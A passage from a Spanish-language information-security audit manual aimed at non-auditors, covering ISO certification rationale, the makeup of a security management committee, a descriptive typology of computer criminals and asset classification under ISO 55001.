Capítulo 13 y 14 ................................................................................................. 110 Cifrado y Seguridad Física y Ambiental. .......................................................110 Dominios 10 -11 - ISO 14001 ............................................................................................. 110

Capítulo 15 .........................................................................................................112 Seguridad Operativa. ISO 20000 ................................................................... 112 Dominio 12 ........................................................................................................................ 112

Capítulo 16 .........................................................................................................118 Seguridad en las Telecomunicaciones. ISO 27010 ..........................................118 Dominio 13 ........................................................................................................................ 118

Capítulo 17 .........................................................................................................122 Adquisición, Desarrollo y Mantenimiento de los Sistemas de Información. .... 122 Dominio 14 ........................................................................................................................ 122

Capítulo 18 .........................................................................................................127 Relaciones con suministradores. ISO 20000 ...............................................127 Dominio 15 ........................................................................................................................ 127

Capítulo 19 .........................................................................................................129 Gestión de Incidentes de Seguridad. ISO 20000 .........................................129 Dominio 16 ........................................................................................................................ 129

Capítulo 20 .........................................................................................................131 Continuidad del Negocio ISO 22301 / 22320. ...................................................131 Dominio 17 ........................................................................................................................ 131

Capítulo 20 .........................................................................................................138 Cumplimiento Legal. ISO 19600 .................................................................... 138 Dominio 18 ........................................................................................................................ 138

Capítulo 21 .........................................................................................................142 ISO 27007 .......................................................................................................142 ¿Cómo se auditan los controles por parte del Auditor?.................................... 142 Capítulo 22 .........................................................................................................173 La Ingeniería Social, la zona muerta del Derecho actual. ................................173 Capítulo 23. ........................................................................................................196 Página 2 de 430

Manual de Auditoria para no Auditores Las metodologías OWASP / OSSTMM soporte para la verificación de la normativa. ...........................................................................................................196 Capítulo 24 .........................................................................................................217 OSSTM versión 3 : 2010 ....................................................................................217 Mapa de la Seguridad según OSSMT ...............................................................220 Capítulo 25. ........................................................................................................403 Manos a la obra, la parte práctica.................................................................. 403 Capítulo 26. ........................................................................................................419 Como realizar una investigación técnica de calidad. .................................... 419

Página 3 de 430

Manual de Auditoria para no Auditores

Capítulo 1 ¿Por qué y Para qué debo certificar mi empresa? Todo ha de empezar por el principio y el principio es sencillo, es una pregunta. ¿Necesita mi organización estar alineada y/o certificada con las normas internacionales conocidas como normas ISO? Esta no es una pregunta sencilla de responder, en el siglo xx, había sectores, que estaban formados por un número muy reducido de empresas otros sectores, sin embargo, estaban formados por centenares de empresas que: fabricaban, vendían, o daban soporte postventa a productos muy similares. De ahí surge el concepto de calidad, empresas que fabrican lo mismo que otras, pero debido: a los materiales, debido a sus métodos de fabricación, debido a sus herramientas, debido a las habilidades de sus trabajadores, se obtienen productos distintos unos mejores y otros peores partiendo de los mismos materiales, métodos de fabricación, métodos de ensamblaje, etc. Durante la segunda mitad del siglo xx, la informática y las telecomunicaciones, dejaron los ámbitos donde eran habituales, tales como: el ámbito financiero, defensa, investigación y desarrollo, energía, etc.…y se popularizaron pasando a formar parte de las vidas de casi todas las personas. De ahí surgen dos fenómenos interesantes de una parte, un crecimiento de la tecnología exponencial y paralelo a este, el desarrollo de la delincuencia relacionada con la compra / venta de tecnología y de información, el espionaje industrial, y en la actualidad la ciberguerra. La información ha pasado de ser una recopilación de hechos históricos, sobre los que construir las proyecciones del futuro, a ser colecciones de datos simples o complejos, que tienen relaciones, unas veces obvias y otras veces ocultas, que descubren nuevos campos de aplicación. Lo mismo podría decirse de los métodos de fabricación, ensamblaje, materiales, diseño y estilo, que también son informaciones, sobre las que se construyen las diferencias entre empresas y productos, que Página 4 de 430

Manual de Auditoria para no Auditores pueden suponer la diferencia entre continuar existiendo como empresa o fracasar y desaparecer. Por tanto: la información es el activo más valioso que una empresa independientemente de su tamaño posee. Por ello muchas de las mejores empresas decidieron: hacer públicos parte de sus reglas de gestión del negocio, dando lugar a los sistemas de calidad, conocidos por la denominación ISO 9000 y prácticamente en el cualquier ámbito del saber humano, la calidad se ha integrado y su correspondiente soporte mediante el uso de la informática y las telecomunicaciones. Pero dado que, a los fenómenos ya señalados, hemos de añadir: la globalización, esto hizo que los países económicamente más competitivos, debido a la inexistencia de sistemas de protección social, y carentes de sindicalismo, así como dirigidos por oligarquías familiares u oligarquías políticas competieran, con los países originarios de los productos, a menor coste partiendo de materiales y métodos muy similares, a los originales. Ejemplo la economía China. La diferencia en la actualidad entre un original y una buena copia radica simplemente en tener una o varias partes del proceso oculto, y marcas y señas específicas que sólo conoce el fabricante original donde hay elementos que hacen imposible la copia idéntica del producto, aquí es donde radica la importancia de la información, ya que estas informaciones son las que marcan la diferencia entre el original y su copia. Ejemplos Electrónica de Consumo, Perfumería, Industria Farmacéutica y Cosmética, en general todo sector donde la componente tecnológica y la información juegan un rol decisivo. Si exceptuamos, las actividades humanas relacionadas con la creatividad, es decir, las artes en general, todas las actividades del ser humano, pasan en un determinado momento a través de uno o varios sistemas de información, no confundir, ni con las infraestructuras físicas (hardware), ni con los sistemas de representación simbólica (software), ni de difusión mezcla de ambos elementos ya citados (telecomunicaciones), todo conocimiento de forma independiente de su objeto formal (contenido), deben ser representado y expresado basándose algún tipo de lenguaje que debe ser susceptible de ser reproducido y difundido, para ser aceptado por la comunidad para la que adquiere un valor determinado y significado propio. Las normas ISO unas 180.000 en total representan la abstracción del párrafo anterior, es decir, es un conjunto de reglas, que fija y establece sistemas de información, que se orientan hacia un determinado tipo de actividades, indicando cuales son los objetivos que se han de alcanzar, en que tiempo, siguiendo una serie de instrucciones, cuya forma de Página 5 de 430

Manual de Auditoria para no Auditores realizarse no está determinada a priori, sino que debe ser compatible con los principios: jurídicos, económicos, éticos, morales y sociales de cada sociedad, en el momento de su uso. Por tanto, las normas ISO dicen: él qué, el cuándo, el quien o quienes y el para qué, pero no el cómo, dado que ese cómo debe ser compatible: con los que se conoce como principios generales, que no son otra cosa que los principios los jurídicos y económicos aceptados en el ámbito internacional regulado por principios básicos del Derecho y la Economía. Para concluir: Dado que los sistemas de información, la informática, las telecomunicaciones, y sus infinitas aplicaciones e implicaciones impactan de forma directa sobre la vida de las empresas y de las personas, el Derecho y la Economía se han visto abocadas a adaptarse a estas nuevas ciencias aplicadas, que han construido sus propios sistemas regulatorios Normas que son la base del nuevo Derecho y de una nueva Economía, la digital. Por todo lo expuesto anteriormente, todo aquello que tiene que ver de forma directa e indirecta con la información, que es el nuevo patrón de cambio, su generación, su transformación, su difusión y su destrucción, debe estar regulado, y puesto que el Derecho y la Economía no tienen la información como objeto de su estudio, se han convertido en ciencias complementarias de la Normativa. A la pregunta inicial antes de dar una respuesta formal hay que señalar lo siguiente: Una alineación con respecto a un estándar o una norma: consiste en utilizar los métodos, las técnicas e instrumentos, que utilizan las empresas que definen lo que se conocen como estándares. El seguir estos patrones no pueden hacerse público, si no hay al menos dos organismos independientes, entre sí, que puedan verificarlo obteniendo un mismo resultado.

Página 6 de 430

Manual de Auditoria para no Auditores Una alineación se puede hacer pública, cuando una empresa independiente, siguiendo las directrices fijadas por un organismo local representante de un organismo internacional, reconoce que una empresa, trabaja de acuerdo con los procedimientos que dicta una norma, bien a todos niveles de la empresa, bien en determinadas áreas y sobre determinados servicios en particular y es lo que se conoce como Certificación. La entidad local que estudia y da fe del uso de cada uno de los requisitos de la norma, es lo que se conoce como Entidad Certificadora, hay varias por país y hay una representación local del organismo internacional, que vela por el cumplimiento objetivo de las normas, así como que las certificaciones emitidas puedan ser evaluadas por empresas distintas de las emisoras con idéntico resultado final. A esta entidad se la conoce como Registro Certificadoras y Entidades Acreditadas.

de Entidades

Por tanto, toda empresa Certificada estará Acreditada si quien expide dicha certificación, esta a su vez reconocido, por el representante local de la Organización ISO. Las certificaciones de normas ISO operan sólo en el ámbito nacional, donde fueron emitidas, no existen las Certificaciones Internacionales una empresa puede decir que está certificada en n países, pero la Organización ISO, ni las organizaciones privadas que certifican las normas, ni tampoco la entidad registradora de certificadora puede emitir certificados globales. La única razón para que una empresa se certifique, es diferenciarse de sus competidores tanto: dentro del ámbito nacional, como internacional mediante la confianza que otorga estar en posesión de dicha certificación: que debe mantenerse y renovarse, conforme al ciclo de vida de la norma.

Página 7 de 430

Manual de Auditoria para no Auditores

Capítulo 2 Por dónde empezar y como La decisión ya está tomada hay que certificarse, pero ¿por dónde continuar el proceso? Bueno, es sencillo, antes de pedir presupuestos a las entidades de auditoria y certificación, debemos hacer algunos trabajos internos que son importantes para lograr el objetivo, que nos hemos fijado esto es la certificación. TRABAJOS PREVIOS A LA AUDITORIA Y CERTIFICACIÓN. Preguntas que debemos formular y responder de forma objetiva. 1.- Todo el personal de la empresa ¿sabe cómo clasificar, la información que recibe, que genera y comparte, tanto dentro de la empresa, como fuera? 2.- ¿Sabemos en qué soportes y ubicaciones físicas y electrónicas, se encuentra diseminada, toda la información, con independencia de su tipo de contenido? 3.- ¿Quién clasifica la información y como se etiqueta? ¿La información ya clasificada, como sé verifica que sólo es recibida y manejada, por las personas autorizadas, para ello y en las áreas adecuadas? 4.- Cuando hay que destruir información ¿Quién o quiénes son responsables de dicho proceso? ¿Quién verifica que el proceso se ha realizado correctamente? 5.- ¿Por qué sólo tenemos formalizado aquella información que cuyo uso, tenencia, gestión y destrucción está regulada por ley? 6.- ¿Nuestro personal durante todo el ciclo de vida, que le vincula con la empresa, incluyendo el antes y el después es monitorizado dentro de lo que permite la ley? 7.- ¿Por qué no existe un plan de formación específica, sobre la gestión de la información, para los empleados, que abarque desde su incorporación hasta su desvinculación total, incluyendo acuerdos de secreto y confidencialidad? 8.- ¿El Departamento de asuntos legales y de recursos humanos, están coordinados de forma permanente, con el resto de la organización?

Página 8 de 430

Manual de Auditoria para no Auditores 9.- ¿El Departamento de asuntos legales y recursos humanos, se reúnen de formar regular, con el área de sistemas de información y con el área responsable de la seguridad física y lógica de la empresa? 10.- ¿Por qué no está formalizado, las respuestas a las todas anteriores preguntas? Aunque pueda parecer absurdo, la inmensa mayoría de las organizaciones, no sólo, no pueden responder de forma objetiva las diez preguntas anteriores, sencillamente no se las plantean, hasta que ocurre algún suceso, cuya dimensión puede suponer la desaparición de la empresa. El error más habitual, es suponer, que todo este tipo de reglas (tacitas) existen y se aplican de forma habitual, como parte de los procedimientos rutinarios de cualquier cargo o función, cuando en realidad, no se enseñan en ninguna facultad, ni tan siquiera en las más prestigiosas escuelas de negocios y marketing. Estas preguntas se empiezan a formular y a responder en vacío cuando se ven en la necesidad de contratar a varios tipos de consultores y se ven sorprendidos, por la elevada cuantía de los presupuestos, por desidia en unas ocasiones, en otras por desconocimiento. Sorprendentemente la mayoría de las organizaciones carecen de algo tan necesario e importante como su propio de negocio. Como señalamos en el capítulo previo, la información, es el activo más importante, con él que cuenta toda empresa y eso, es igual de importante que es la contabilidad, las ventas, los presupuestos o los proyectos. Por eso antes de empezar, hay que formalizar la estructura necesaria para contestar cada una de las diez preguntas claves anteriores. Esta estructura es lo que se conoce como Comité de Gestión de la Seguridad de la Información. CSGSI.

Página 9 de 430

Manual de Auditoria para no Auditores El CSGSI ¿Debe de haber más de un CSGSI? ¿Cuáles son los perfiles de los miembros del CSGSI? ¿Cómo construir un buen CSGSI? Funciones y Competencias. Aportación a la estructura organizacional previa a cualquier trabajo de Auditoria y Certificación. Debe haber un Comité de Gestión de la Seguridad de la Información CSGSI Directivo y varios CSGSI departamentales o por unidades de negocio El número de ideal de miembros del CSGSI debe ser de 6 a 8, como máximo, por varias razones que vamos a exponer ahora:        

SINCRONIZACIÓN INTERESES PERSONALES. SINCRONIZACIÓN INTERESES PROFESIONALES. REDISTRIBUCIÓN DE RECURSOS HUMANOS. REDISTRIBUCIÓN DE RECURSOS FINANCIEROS. VISIONES ESTRATÉGICA, TÁCTICA Y OPERATIVA. RESISTENCIA ZONA DE CONFORT. ISLAS DE CONOCIMIENTOS PROPIO Y VECINOS. FALTA DE FACTOR Z.

Todas y cada de las anteriores circunstancias se traducen en una sola manifestación que se da de forma habitual: la dificultad de sincronizar agendas de forma semanal para informar de problemas y logros que hacen que la organización, no esté alcanzando los objetivos o las metas fijadas. Para lograr un alineamiento correcto orientado a certificación o no, lo primero es vencer los vicios ocultos que todas las organizaciones y personas tienen, que además están íntimamente vinculados al acervo cultural, organizacional y educativo de las personas que la integran y aportan desde su incorporación. Tres modelos claramente diferenciados: el modelo japonés corporativo desde el colegio hasta la jubilación, el modelo anglosajón los objetivos profesionales y personales son una sola entidad al servicio del crecimiento personal e individual, frente al resto, y el latino que es casi igual al anglosajón, pero utilizando las influencias personales y profesionales por encima de cualquier otra clase de medio, como sería el conocimiento y la experiencia. Es obvio que la existencia de varios SGSI departamentales, obliga a un nuevo reparto de las tareas y el tiempo estimado, antes de la toma de esta decisión, ya sea para alinearse, ya sea para certificarse, por parte de la dirección, como una misión estratégica. Página 10 de 430

Manual de Auditoria para no Auditores

Al añadir nuevas funciones hay que redistribuir el tiempo, esto es ampliar el número de tareas que sean de delegar, teniendo presente que el número de reuniones semanales mínimo aceptable es de: dos primera: el lunes para ver los objetivos a cubrir durante la semana, más si hay más de un área o departamento implicado, el logro de dichos objetivos, y segunda reunión: el viernes para ver los progresos alcanzados e informar sobre escollos o problemas, cuyas soluciones pueden existir en otras áreas de la organización y que en su día fueron tratados y resueltos de forma satisfactoria. PERFILES DE LOS MIEMBROS DEL CSGSI EJECUTIVO. Director General / Consejero Delegado / Etc. Reviste de autoridad de las decisiones tomadas y formuladas en este Comité. Nombra y cesa a miembros del Comité, Planifica y Supervisa las reuniones mensuales y las excepcionales o extraordinarias, situaciones de crisis, aprobación de cambios globales, cambios estratégicos y tácticos relativos al negocio o negocios de la organización. Director Financiero / Director Contable. Es quien tienen el control de los recursos económico-financieros de la organización, es quien conoce donde está invertido el capital, cuanto puede ser convertido en dinero contante y sonante, cuantas de las deudas son ejecutables y cuales no entre otras cosas, junto con el Director General son figuras que siempre han de estar presente y que pueden ser intercambiables ante una necesidad puntual. Director de Recursos Humanos / Director de Asuntos Legales. Además de los recursos económico-financieros y tecnológicos el otro gran capital de una empresa son sus recursos humanos, por tanto, el área responsable de su correcta gestión, desde la incorporación hasta su desvinculación juega un roll fundamental. De hecho, dentro de la norma, hay un dominio propio dedicado a la gestión de recursos humanos. Dado que la norma recomienda que se investigue los antecedentes antes de la incorporación, estas investigaciones deben hacerse siempre ateniéndose a lo que leyes dictan, de ahí que quien debe señalar los limites es el área de asuntos legales, así como será responsabilidad de ambas áreas el diseño y aplicación relativa al régimen desempeño y disciplinario aplicado a estos.

Página 11 de 430

Manual de Auditoria para no Auditores También ambas áreas deben verificar que una vez extinguida la relación entre ambas partes los compromisos se cumplen manteniendo la confidencialidad, la integridad y el no acceso a las instalaciones y recursos tecnológicos sobre los que reside información. Más adelante hablaremos de errores o descuidos habituales en las organizaciones, que han llegado a costar incluso millones de dólares. Además, hablaremos de otra norma relacionada, con la gestión de recursos humanos, en cuanto a su huella, respecto a su estadía dentro de la organización. Además de esta parte importante gestión de los recursos humanos desde el enfoque administrativo y legal, hay otras funciones propias del área jurídica. Por ejemplo, toda la gestión relativa a contratos de servicios y productos de terceros, incluyendo todo el personal que desarrolla funciones externalizadas. Por ello a la hora de definir el marco legal tanto con clientes externos e internos, como con proveedores, es muy importante contar con el asesoramiento legal, dado que hay varios marcos legales: locales, nacionales, supranacionales e internacionales. Director de Sistemas de Información / Director de Seguridad. Dado que en las actuales organizaciones resultan inconcebibles, sin informática y sin telecomunicaciones, tanto el Director de Sistemas de Información; como el Director de Seguridad (Física y Lógica) deben ser miembros permanentes del CSGSI central. Ya que son los responsables de materializar las decisiones estratégicas en tácticas y operativas, al proporcionar y mantener los medios necesarios, para el desarrollo de la propia actividad de la empresa. Más adelante hablaremos en profundidad de los comités de esta área pues merecen especial atención, dado que en los últimos años toda la tecnología se orienta exclusivamente hacia el negocio y deja de ser negocio por si sola. Además, es habitual designar una persona que se encarga de realizar las comunicaciones internas al resto de las áreas organizativas, una vez que se han validado los mensajes a transmitir y los planes de difusión y formación, cuando sean necesarios, esta función, la realiza el Director/a de Comunicación Interna de forma conjunta con el Personal de staff/apoyo a Dirección, que ya recibe clasificada la información o la clasifica de acuerdo con patrones ya definidos. Estos son los componentes esenciales que deben constituir el Comité de Gestión de la Seguridad de la Información.

Página 12 de 430

Manual de Auditoria para no Auditores Según el tipo de actividad empresarial se podrían añadir miembros, pero sin carácter permanente, dado que pueden ser para tratar problemáticas puntuales o cambios de enfoque empresarial. Para simplificar y asentar conocimientos utilizaremos una imagen que más sencillo de fijar y recodar.

El SGSI-A/D de cada área o departamento, elabora cada semana informes de seguimiento y planificación de nuevos proyectos, de proyectos en curso, y de proyectos que están a la espera de acciones internas o externas, para su continuación o conclusión, estos informes ejecutivos, son revisados por el CSGSI, es decir, el comité central del Sistema de Gestión de la Seguridad de la información. En este momento vamos a estudiar, más en detalle los SGSI internos que tienen que ver con las áreas que dan soporte tecnológico a lo largo del ciclo de vida a cualquier actividad de negocio. El enfoque que vamos a considerar por ser un estándar de facto es el de ITIL©® aunque también podría ser la visión que define la norma ISO 20000:2011 por ser coincidente con la revisión de ITIL V3 y que está orientada a negocio en vez de orientada a tecnología como era en la versión 2.

Página 13 de 430

Manual de Auditoria para no Auditores Ciclo de Vida de la Información objeto del CSGSI

El dibujo representa las fases que ITIL asocia al desarrollo para cualquier producto/servicio cubierto por funcionalidades de IT/TIC o SI. Además, hemos elegido esta forma de V por ser coincidente con el ciclo de vida de pruebas de la etapa de transición. En los enfoques anteriores a ITIL y previos a la creación de la Normativa ISO, la seguridad era una funcionalidad que se añadía y verificaba, durante la etapa de transición del servicio (pruebas), pero, era una función más y se confiaba en una gran medida: en que las diferentes partes que integran un sistema de información, aportaban de forma autónoma, sistema operativo, base de datos, monitor de teleproceso, lenguaje de control, etc.… un conjunto de mecanismos suficientes en cuanto a este requisito. La evolución de la micro informática, junto con las redes y la internet han demostrado que confiar la seguridad, a las medidas aportadas por los fabricantes de hardware y software, es insuficiente y es una temeridad pensar que se puede continuar confiando la seguridad del activo más importante de la empresa, a unos terceros, sin añadir barreras adicionales propias tanto: tecnológicas y jurídicas, así como organizativas y procedimentales. En la actualidad la seguridad de la información es un componente básico de todo diseño: desde la estrategia, hasta la revisión continua.

Página 14 de 430

Manual de Auditoria para no Auditores No olvidemos que mientras no existía la micro informática y las redes permitían, una interoperabilidad muy limitada, los problemas de seguridad de la información, era casi inexistentes, con el desarrollo de las redes, el desarrollo de la interoperabilidad, de la conectividad vía Internet, muchos mecanismos de seguridad sucumbieron y rebelaron ser puertas abiertas para el robo de información, o cesión a terceros no autorizadas, y otros delitos, que continúan evolucionando, a esto hemos de añadir la aparición de la ingeniería social, junto con la mala gestión de la configuración, un binomio explosivo y reiterativo hasta la saciedad, capaz de abrir brechas de seguridad, de impacto impredecible, luego hablaremos de ello con la debida profundidad que este aspecto de la seguridad requiere. Ahora sólo quiero añadir un apunte muy escueto, pero que no quiero dejarlo para más adelante y es que cosas tan poco tecnológicas, como una fotocopiadora que contenía la agenda de un grupo secreto, dicha agenda olvidada saco a la luz al grupo Bilderberg y sus planes para la humanidad, la memoria de las impresoras, los ficheros temporales de impresión y los que también se utilizan para él envió de faxes programados, son aspectos que una política de seguridad firme y férrea de la información debe tener presente. Para hacerse una idea antes de continuar con el proyecto prealineamiento o pre-auditoria / pre-certificación, de cual ya hemos cubiertos dos etapas: la decisión inicial y la creación de la estructura responsable de gestión de la seguridad de la información, tanto para la organización departamental, como la dirección ejecutiva, veamos a que nos enfrentamos cuando hablamos de seguridad de la información en el actual estado del desarrollo tecnológico y social.

Página 15 de 430

Manual de Auditoria para no Auditores

Existen varias familias de delincuentes informáticos y además de conocer su existencia es bueno y necesario conocer su operativa teniendo en cuenta que no siempre, los ataques tienen que ser necesariamente de tipo ciberespacio, un estudio del FBI revela que el 80% de los delitos, relacionados con la información y la tecnología, se cometen desde el interior de la propia organización. Y cuidado, cuando lo que, para nosotros, puede resultar material inservible y desechable, para un delincuente puede constituir una fuente de información valiosa, que le ahorrara tiempo y esfuerzo en el diseño de una estrategia de ataque. Vemos los tipos de delincuentes informáticos más habituales y como operan.



Piratas Informáticos. Se trata de individuos que utilizan obras de propiedad intelectual de terceros, sin la correspondiente autorización y sin haber abonado los derechos de autor correspondientes. En realidad, están haciendo uso una mercancía robada o sustraída.



Hackers. Personas apasionadas por descubrir agujeros de seguridad en los sistemas, buscan ganar notoriedad o popularidad, no suelen buscar lucro. Página 16 de 430

Manual de Auditoria para no Auditores



Cracker. Personas que se infiltran a través de los agujeros de seguridad o vulnerabilidades de determinados programas y protocolos de comunicaciones, para acceder a información confidencial o valiosa con la que luego cometer chantaje o extorsión, incluso pueden llegar a secuestran el sistema haciéndolo inaccesible, bajo condiciones operativas normales, esto supone un riesgo inaceptable en sistemas que actúan sobre los que se conoce como infraestructuras críticas.



Phreaker. Intruso especialista en telefonía móvil que utiliza sus conocimientos para utilizar terminales de otros usuarios en su propio beneficio incluyendo la realización de actos ilegales. Suelen construir sus propios equipos inclusive.



Lammers. Aspirantes a hackers, pero debido a su carencia de base técnica sus acciones tienen un daño muy limitado.



Gurús. Maestro que en otros tiempos cometieron actos renombrados y que muestran a sus aprendices técnicas básicas mientras ellos continuando formándose y evolucionado.  Trasher. Persona que obtiene de la basura, documentos no destruidos, fotocopias desechadas, cds o dvds no destruidos, discos duros, no formateados a bajo nivel o destruidos mediante procedimientos magnéticos, componentes de fotocopiadoras e impresoras de red, información relevante sobre terceros y que puede utilizar con el fin de cometer extorsión o chantaje. Son un típico producto de la ingeniería social.



Cibergrafitti / Defacments. Acceden a páginas web cuyo aspecto modifican incluyendo material de infografía obsceno y mensajes, así como amenazas y burlas, suele miembros de grupos antisistema.



Warez. Crackers especializados en romper códigos de seguridad o de instalación de programas que luego publican en Internet con la correspondiente copia del programa del cual han vulnerado

Página 17 de 430

Manual de Auditoria para no Auditores bien el sistema de protección bien el código requerido para su instalación habilitación de funciones completas. 

Hacktivismo. Técnicos que utilizan herramientas digitales y de ataque con fines políticos, acciones de este tipo de grupos son desfiguraciones de webs, redirecciones, ataques de tipos DOS, robos de información, sabotajes, parodias, etc.

Hay una cosa que Ustedes deben tener presente, con cuando hablamos de información no sólo hablamos de la información, que utilizamos dentro de nuestro ámbito profesional, también hay información personal, que se captura desde las redes sociales y que puede facilitar una puerta de entrada aparentemente inocua, que en muchos casos resulta letal. De todas formas, los delincuentes informáticos son: excelentes sociólogos y psicólogos y no dudarán en usar cualquier combinación de elementos, que sea necesaria para obtener las informaciones, que le conduzcan a su objetivo, aunque para Usted o para mí en apariencia el dato, en cuestión, no tenga ninguna relación directa con nuestra actividad profesional. En cualquier caso, para profundizar sobre estos aspectos le recomiendo las siguientes lecturas para profundizar en la tipología de los delincuentes informáticos y sus víctimas que son CLC-91Ciberdelicuentes y Cibervictimas y Compresión psicojurídica de los Ciberdelincuentes. Ambos se adjuntan al final de este libro, así como otros que complementan los aquí enunciado y reseñado. Hay que señalar que la existencia de todos estos tipos de delincuentes no necesariamente implica, que su empresa, tiene porqué sufrir ataques; salvo que las actividades de su empresa estén relacionadas con sectores muy lucrativos o sean una infraestructura crítica.

Página 18 de 430

Manual de Auditoria para no Auditores

Capítulo 3 Identificando activos y su clasificación. ISO 55001 Para esto también existe una norma ISO la 55001, que identifica y clasifica los activos que existen dentro de una organización. En sucesivas páginas vamos a ver la norma en general y luego; la adecuaremos a nuestro caso, que es un caso particular y donde nos serán especialmente útiles las estructuras departamentales que hemos creado como CSGSI-A/D. Según una definición no académica, pero muy fácil de comprender para cualquier persona un activo es: “Cualquier tipo de entidad ya sea persona o cosa, que tiene un valor para la Organización, o que puede llegar a tenerlo, siempre traducido a términos monetarios o económicos según se prefiera”. Es obvio que la gestión de activos tiene su propio ciclo de vida adaptado del ciclo original de Deming o PDCA. Vamos a incluir una imagen que lo expone de una manera clara y simple. Es obvio que algunas de esta fase de ciclo de vida son más simples o complejas en función de que activo se trate. Un bien como, por ejemplo: una instalación (fabrica) y su infraestructura física asociada, es más simple de gestionar que, por ejemplo: la infraestructura hardware y software y comunicaciones, que da soporte a las aplicaciones, que a su vez permiten el ejercicio y desarrollo de las actividades empresariales, conforme dictan los principios económicos y legales, aceptados de forma global. De hecho, esto tiene que ver con el tipo de amenazas, a los que un tipo de bien y otro, están sometidos. De eso hablaremos cuando hablemos de las amenazas y vulnerabilidades. Página 19 de 430

Manual de Auditoria para no Auditores La primera actividad, por lo general, será constituir o crear la infraestructura humana, técnica y económica, destinada: a identificar, clasificar y catalogar, así como de etiquetar, todos los tipos de activos disponibles en la organización y crear sus correspondientes inventarios, que a su vez deberán estarán estar custodiados y gestionados de forma exclusiva, por las personas pertenecientes a esta estructura de control, que como toda estructura será auditada de forma periódica, tanto para verificar su correcto funcionamiento, como para subsanar deficiencias o mejorar los procesos y procedimientos existentes según, el ya citado ciclo de Deming. Hasta ahora además de crear la estructura cuya única y exclusiva misión: es garantizar la correcta gestión de la seguridad de la información, en los niveles ejecutivos y operativos, acabamos de descubrir que también necesitamos crear la estructura de control que tiene por misión gestionar el ciclo de vida de los activos, cuya descripción se ha visto en el párrafo precedente a este. Para asentar este nuevo concepto; hay que tener presente que tanto el CSGSI y los SGSI-A/D y los correspondientes gestores de activos, conforman un sistema que se retroalimentan mutuamente, además de alimentar al sistema contable y financiero tal y como mostramos en el siguiente diagrama. Ejemplo la norma 27001, que regula la gestión de la seguridad de la información, interacciona con las normas de gestión de activos, esto es, la 55001 gestión de activos y esta a su vez interacciona tanto con la 9001 gestión de la calidad, como con la 14001, si estamos tratando con residuos que afectan al medio ambiente, todas las anteriores interaccionan a su vez con la 19600 cumplimiento de requerimientos legales. Por tanto, podemos establecer que todas las normas: ISO / IEC / UE se pueden entrelazar, creando un sistema de gestión integrado. Volviendo a la norma 55001, en la que estamos, uno de los problemas habituales para lograr una adecuada gestión de activos es lograr: la granularidad ad-hoc, siempre partiendo de una base de datos de recopilación de información, que contenga todos los datos necesarios, para generar las vistas de datos, que necesitara cada interlocutor para desarrollar su función. Ello obliga a sistematizar los códigos o etiquetas, por los que se puede identificar de Página 20 de 430

Manual de Auditoria para no Auditores forma inequívoca un activo, su tipo / clase, su ubicación física / lógica, su propietario, su custodio, su utilizador, y por su supuesto su correspondiente expediente de administrativo. Ejemplos de la GA.

Página 21 de 430

Manual de Auditoria para no Auditores

Más información relevante para entender la gestión de activos se muestra en las páginas sucesivas a esta.

En nuestro caso particular además de los activos físicos, están los activos lógicos y los productos finales los resultados económicos.

Página 22 de 430

Manual de Auditoria para no Auditores

Por tanto, como se puede deducir, no es tan sencillo aplicar la gestión de activos a los sistemas de información, a modo de ejemplo veremos un modelo muy simplificado, de la GA aplicado a nuestro caso particular. Al final de este manual, de Auditoria para no Auditores encontraran el trabajo completo, de donde hemos tomado aquellas diapositivas, que no han aparecido suficientes para alcanzar el nivel de compresión necesario, antes de introducirnos en las normas asociadas con la 27001/2.

Aquí están representados todas las clases de activos que intervienen en la norma 27001 y sus asociadas. Es obvio que los datos administrativos, de todos estos activos, existen y están clasificados y documentados, a los que habrá que sumar los activos humanos, existentes ya que forman parte de la ISO 19600, que como se comento es cumplimiento de requisitos legales y la contabilidad, la facturación, y el pago de los salarios de los recursos humanos, las obligaciones tributarias que reflejan los datos la adquisición, mantenimiento o explotación , así como la desvinculación de los activos, que por

Página 23 de 430

Manual de Auditoria para no Auditores obsolescencia o desvinculación de relación contractual, dejan de tener relación directa y constante con la organización. Lo que suele ocurrir, es que la forma en que se agrupan y ordenan estos datos, no es más que una representación sesgada del total de la masa de activos. Un activo tiene un valor económico, el precio de compra, el precio del suministro, el precio del servicio, porque se reflejan en la contabilidad, pero ese gasto o inversión, sirve a su vez para producir otro valor, llamado valor de negocio que a veces es inmediato, mientras que el activo no produce lo que costo, no se alcanza lo que los financieros llaman ROI (retorno de la inversión), pero que una vez que el retorno de la inversión se ha alcanzado, todo lo que este activo genera es ganancia, mientras este dentro de lo que se considera su periodo de vida útil. Bien después de haber realizado una inmersión en la terminología financiera, volvamos a los activos dentro de la norma 55001 y veamos cual sería la forma más coherente de establecer la granularidad para que nos sea útil. Por ejemplo, la instalación física (edificio) donde se alberga el centro de datos de la empresa, no se debe desagregar más que a dos niveles la capa de sistemas de soporte y el propio centro de datos, ya que no tiene mayor interés desde el punto de vista de análisis de activos, y esto está relacionado con las amenazas y vulnerabilidades, que pueden ocasionar disrupciones sobre los servicios.

Página 24 de 430

Manual de Auditoria para no Auditores Los Servidores que en una instalación suele haber, aparte de los equipos de comunicaciones (Routers / Firewall / Switches) son de los siguientes tipos: Servidores de Archivos, Servidores de Correo, Servidores de Aplicaciones, Servidores Web, entre los más habituales algunas funciones, se suelen agrupar entorno a un número reducido de los mismos, con el fin de optimizar al máximo, los costes en infraestructura. A esto activos hemos de sumar los activos lógicos por ejemplo el Sistema Operativo de Red, y otros Subsistemas como por ejemplo los motores de Base de Datos, los Motores de Gestión de Correo Electrónico y Mensajería, los Motores de Gestión de Voz sobre Ip, etc. Todos ellos con sus correspondientes costes de adquisición y mantenimiento, a los que hay que sumar los costes de adecuación y personalización de cada herramienta, sin tener presente coste de programación. Estos costes se incluyen en muchos casos la formación necesaria para la puesta en marcha y soporte de resolución de dudas. Sí se requiere programación extra, distinta de la personalización y adecuación de la herramienta o producto, en muchas ocasiones estas herramientas de desarrollo no están incluidas en el coste de los propios activos lógicos básicos. Por tanto, la estructura de costes, de puede ser una buena lista de control sobre la que desarrollar: las listas de activos, como idea básica sobre la que poder formular el inventario de activos como conjuntos de grupos funcionales homogéneos en este caso, las redes. Veamos un ejemplo sencillo: aplicado a una sede una empresa multinacional para tener una mejor compresión del enfoque que hemos expuesto.

Página 25 de 430

Manual de Auditoria para no Auditores

